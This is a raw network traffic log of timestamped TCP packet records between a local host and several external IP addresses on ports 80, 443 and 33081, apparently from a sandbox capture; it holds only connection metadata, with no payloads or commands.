Dec 16, 2024 21:02:38.277534008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.278004885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.278258085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.278280973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.278325081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.279134035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.279299974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.279345036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.279673100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.279774904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.279819965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.280575037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.280726910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.280772924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.281568050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.281752110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.282602072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.282664061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.282705069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.283653021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.283699989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.283746004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.284004927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.284730911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.284868002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.284914017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.285990000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.286200047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.286253929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.286900043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.287009954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.287055969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.287874937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.287921906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.287969112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.288683891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.288724899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.288769007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.289690018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.289758921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.289813995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.290662050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.290781975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.291698933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.291752100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.291929007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.292721987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.292771101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.292788029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.293008089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.293694019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.293709993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.293756962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.294677973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.294864893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.294919014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.295713902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.295857906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.295903921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.296674967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.302012920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.436239004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.436284065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.436321974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.436343908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.436697960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.436748981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.436960936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.437011957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.437088966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.437136889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.437875986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.437931061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.437987089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.438883066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.438986063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.439894915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.439949036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.440099001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.440982103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.441010952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.441056967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.441082954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.441478014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.441936016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.442037106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.442085028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.442570925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.442905903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.442955971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.442965984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.443016052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.443912983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.443957090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.444024086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.444070101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.444905996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.444956064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.445024967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.445116043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.445910931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.445959091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.445966959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.446482897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.446906090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.446953058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.447021961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.447071075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.448013067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.448107958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.448563099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.449009895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.449047089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.449143887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.449995995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.450054884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.450139999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.450186014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.451025963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.451081991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.451148987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.451273918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.452033043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.452235937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.452290058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.453059912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.453177929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.453237057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.453979969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.454051018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.454104900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.454983950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.455143929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.455195904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.456048965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.456267118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.456320047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.457036018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.457197905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.457248926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.458029032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.458163023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.458986998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.459059954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.702369928 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:38.822243929 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:39.078263998 CET	49835	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:39.078305960 CET	443	49835	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:39.078376055 CET	49835	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:39.080849886 CET	49835	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:39.080882072 CET	443	49835	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:39.080976963 CET	443	49835	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:39.158494949 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:39.167310953 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:39.289707899 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:41.004437923 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:41.004694939 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:41.124773979 CET	80	49838	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:41.125096083 CET	80	49807	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:41.125194073 CET	49807	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:41.126169920 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:41.271840096 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:41.391863108 CET	80	49838	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:42.464731932 CET	80	49838	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:42.465110064 CET	49838	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:42.469118118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:42.469738007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:42.589875937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:42.590293884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:42.590415001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:42.590440035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:42.591397047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:42.711232901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922346115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922434092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922483921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922501087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922523975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922543049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922554016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922591925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922645092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922662020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922678947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922686100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922692060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922698975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922708035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.922717094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922729969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922751904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.922954082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:43.924882889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:43.964376926 CET	49848	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:43.964417934 CET	443	49848	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:43.964497089 CET	49848	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:43.968929052 CET	49848	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:43.968964100 CET	443	49848	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:43.969096899 CET	443	49848	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:44.042649031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.042756081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.042762995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.042798996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.046663046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.046741962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.046773911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.046821117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.141375065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.141480923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.141491890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.141520977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.144968987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.145025969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.145061970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.145102978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.153451920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.153511047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.153548956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.153590918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.161815882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.161870956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.161940098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.161979914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.170270920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.170361996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.170392990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.170485973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.178756952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.178805113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.178877115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.178921938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.187200069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.187309027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.187319040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.187356949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.194617987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.194665909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.194725037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.194766998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.201699972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.201754093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.201757908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.201801062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.209196091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.209253073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.209270954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.209467888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.216227055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.216295004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.216348886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.216392994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.223453045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.223500013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.223558903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.223602057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.332680941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.332746983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.332773924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.332829952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.334194899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.334253073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.334310055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.334399939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.339942932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.339996099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.340043068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.340137005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.345659971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.345712900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.345798016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.345846891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.351300955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.351361036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.351496935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.351547956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.356717110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.356765985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.356827021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.356879950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.361886024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.361951113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.362054110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.362103939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.366995096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.367084980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.367117882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.367167950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.372154951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.372210026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.372210026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.372253895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.377388000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.377446890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.377475023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.377513885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.382512093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.382570028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.382719994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.382906914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.387729883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.387800932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.387814045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.387842894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.392802954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.392854929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.392940044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.392991066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.397975922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.398034096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.398094893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.403134108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.403237104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.403265953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.403320074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.408286095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.408355951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.408441067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.408552885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.413551092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.413605928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.413695097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.413750887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.418611050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.418667078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.418669939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.418709040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.423897982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.423953056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.424034119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.424104929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.428873062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.428926945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.428952932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.428966999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.434087992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.434146881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.434173107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.434206009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:44.439193010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:44.439289093 CET	49842	80	192.168.2.4	31.41.244.11
